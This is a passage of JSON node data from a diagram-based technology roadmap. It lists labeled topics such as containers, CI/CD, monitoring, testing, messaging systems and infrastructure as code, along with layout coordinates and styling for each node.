\"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qHMtJFYcGmESiz_VwRwiI\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 98.7912166703675, \"y\": 2869.9541781547164 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Apache Spark\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KcW4z48pk2x6IjQhZs_Ub\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"style\": { \"width\": 241 },\n      \"measured\": { \"width\": 305, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"eTHitN2erd6z8-MZiXE9s\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -307.2893559278165, \"y\": 3018.5669273367043 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Containers & Orchestration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"OQ3RqVgWEMxpAtrrjOG5U\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.648604855875, \"y\": 2967.018823233255 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Docker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i54fx-NV6nWzQVCdi0aKL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": { \"width\": 177 },\n      \"measured\": { \"width\": 116, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"kcgDW6AFW7WXzXMTPE6J-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -588.6789598382956, \"y\": 2967.018823233255 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Kubernetes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i54fx-NV6nWzQVCdi0aKL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 49,\n      \"style\": { \"width\": 177 },\n      \"measured\": { \"width\": 136, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"8qEgXYZEbDWC73SQSflDY\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -710.6789598382956, \"y\": 3020.018823233255 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Google Cloud GKE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i54fx-NV6nWzQVCdi0aKL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": { \"width\": 306 },\n      \"measured\": { \"width\": 258, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"eVqcYI2Sy2Dldl3SfxB2C\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -710.6789598382956, \"y\": 3073.018823233255 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AWS EKS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i54fx-NV6nWzQVCdi0aKL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": { \"width\": 306 },\n      \"measured\": { \"width\": 258, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"k2SJ4ELGa4B2ZERDAk1uj\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -298.87362574206935, \"y\": 3166.126284057697 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CI/CD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 260, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"IYIO4S3DO5xkLD__XT5Dp\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 98.21595716364237, \"y\": 3223.126284057697 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GitLab CI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8dXD4ddR_USEbAJhUMcB6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": { \"width\": 159 },\n      \"measured\": { \"width\": 159, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"CewITBPtfVs32LD5Acb2E\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 263.60688211900583, \"y\": 3166.126284057697 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Circle CI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 53,\n      \"measured\": { \"width\": 133, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"N8vpCfSdZCADwO_qceWBK\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 98.21595716364237, \"y\": 3166.126284057697 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GitHub Actions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CewITBPtfVs32LD5Acb2E\"\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 53,\n      \"style\": { \"width\": 159 },\n      \"measured\": { \"width\": 159, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"PUzHbjwntTSj1REL_dAov\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 263.60688211900583, \"y\": 3223.126284057697 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ArgoCD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"N8vpCfSdZCADwO_qceWBK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": { \"width\": 159 },\n      \"measured\": { \"width\": 133, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"dk5FQl7Pk3-O5eF7dKwmp\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -298.87362574206935, \"y\": 3219.126284057697 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 260, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"3QsgoKKxAoyj2LWJ8ad-7\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -710.6789598382956, \"y\": 3166.126284057697 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Prometheus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yyJJGinOv3M21MFuqJs0j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": { \"width\": 306 },\n      \"measured\": { \"width\": 258, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Zoa4JEGrSKjVwUNer4Go1\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.6381872719935, \"y\": 3219.126284057697 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Datadog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i54fx-NV6nWzQVCdi0aKL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": { \"width\": 306 },\n      \"measured\": { \"width\": 126, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"i54fx-NV6nWzQVCdi0aKL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -582.6789598382956, \"y\": 3219.126284057697 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Sentry\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_IiKTZDF_b57l79X6lsq6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"style\": { \"width\": 306 },\n      \"measured\": { \"width\": 130, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"r1KmASWAa_MOqQOC9gvvF\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.6381872719935, \"y\": 3272.126284057697 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"New Relic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yyJJGinOv3M21MFuqJs0j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": { \"width\": 306 },\n      \"measured\": { \"width\": 258, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"DZoxLu-j1vq5leoXLRZqt\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -298.87362574206935, \"y\": 3438.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 260, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"NIG53tyoEiLtwf6LvBZId\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 101.66759208384701, \"y\": 3385.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Integration Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WUfJCLTajyLNK19gAAvoW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 276 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"8dXD4ddR_USEbAJhUMcB6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 101.66759208384701, \"y\": 3332.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Unit Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PUzHbjwntTSj1REL_dAov\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 276 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"mC9sWeC_wYHeJJHJAvxpI\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 101.66759208384701, \"y\": 3438.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"End-to-End Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WUfJCLTajyLNK19gAAvoW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 276 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"E4ND5XaMDGDLtlV7wTzi6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 101.66759208384701, \"y\": 3491.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Functional Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WUfJCLTajyLNK19gAAvoW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 276 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"5qe0q_llTzzNVudbONMYo\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 99.08487858379993, \"y\": 3544.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"A/B Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WUfJCLTajyLNK19gAAvoW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 276 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qoMRpAITA7R_KOrwGDPAb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 99.08487858379993, \"y\": 3597.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Load Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WUfJCLTajyLNK19gAAvoW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 276 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"woa5K4Dt9L6aBzlJMNS31\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 99.08487858379993, \"y\": 3650.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Smoke Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WUfJCLTajyLNK19gAAvoW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 276 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"dAvizeYvv92KMeAvSDmey\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -298.87362574206935, \"y\": 3597.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Messaging Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 260, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"1qju7UlcMo2Ebp4a3BGxH\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.6381872719935, \"y\": 3438.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What and why use them?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yyJJGinOv3M21MFuqJs0j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": { \"width\": 278 },\n      \"measured\": { \"width\": 278, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"VefHaP7rIOcZVFzglyn66\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.6381872719935, \"y\": 3491.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Async vs Sync Communication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yyJJGinOv3M21MFuqJs0j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": { \"width\": 278 },\n      \"measured\": { \"width\": 278, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"IZvL-1Xi0R9IuwJ30FDm4\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.6381872719935, \"y\": 3544.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Messages vs Streams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yyJJGinOv3M21MFuqJs0j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": { \"width\": 278 },\n      \"measured\": { \"width\": 278, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"yyJJGinOv3M21MFuqJs0j\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.6381872719935, \"y\": 3597.6368937422735 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i54fx-NV6nWzQVCdi0aKL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": { \"width\": 278 },\n      \"measured\": { \"width\": 278, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"leKeGA9-3oHnCRyCkTa-7\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -639.2957887669381, \"y\": 3669.277343432695 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Common Tools\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 129, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"fTpx6m8U0506ZLCdDU5OG\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -691.7957887669381, \"y\": 3717.6423431803933 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Apache Kafka\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uFeiTRobSymkvCinhwmZV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": { \"width\": 175 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ERcgPTACqYo9BXoRdLjbd\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -691.7957887669381, \"y\": 3770.6423431803933 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"RabbitMQ\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uFeiTRobSymkvCinhwmZV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": { \"width\": 175 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"uIU5Yncp6hGDcNO1fpjUS\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -691.7957887669381, \"y\": 3823.6423431803933 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AWS SQS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uFeiTRobSymkvCinhwmZV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": { \"width\": 175 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"uFeiTRobSymkvCinhwmZV\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -691.7957887669381, \"y\": 3876.6423431803933 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AWS SNS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": { \"width\": 175 },\n      \"measured\": { \"width\": 239, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"jgz7L8OSuqRNcf9buuMTj\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -299.33024547901266, \"y\": 3770.6423431803933 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Infrastructure as Code - IaC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jzsScqhz8Z0DLlk2gjVEl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 300 },\n      \"measured\": { \"width\": 260, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"GyC2JctG-Gi0R_qx1lTeg\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 99.08487858379993, \"y\": 3772.855831648286 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Declarative vs Imperative\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WUfJCLTajyLNK19gAAvoW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 276 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"9xoBZgKT9uAGsjc1soelY\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 99.08487858379993, \"y\": 3825.855831648286 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Idempotency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WUfJCLTajyLNK19gAAvoW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 276 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Rzk6HlMosx3FN_JD5kELZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 99.08487858379993, \"y\": 3878.855831648286 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Reusability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WUfJCLTajyLNK19gAAvoW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 276 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"WUfJCLTajyLNK19gAAvoW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 99.08487858379993, \"y\": 3931.855831648286 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Environmental Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8dXD4ddR_USEbAJhUMcB6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"style\": { \"width\": 276 },\n      \"measured\": { \"width\": 276, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ukUz0zhQbv9af5eNyXCji\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 100.20421123306187, \"y\": 3988.355831648286 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": 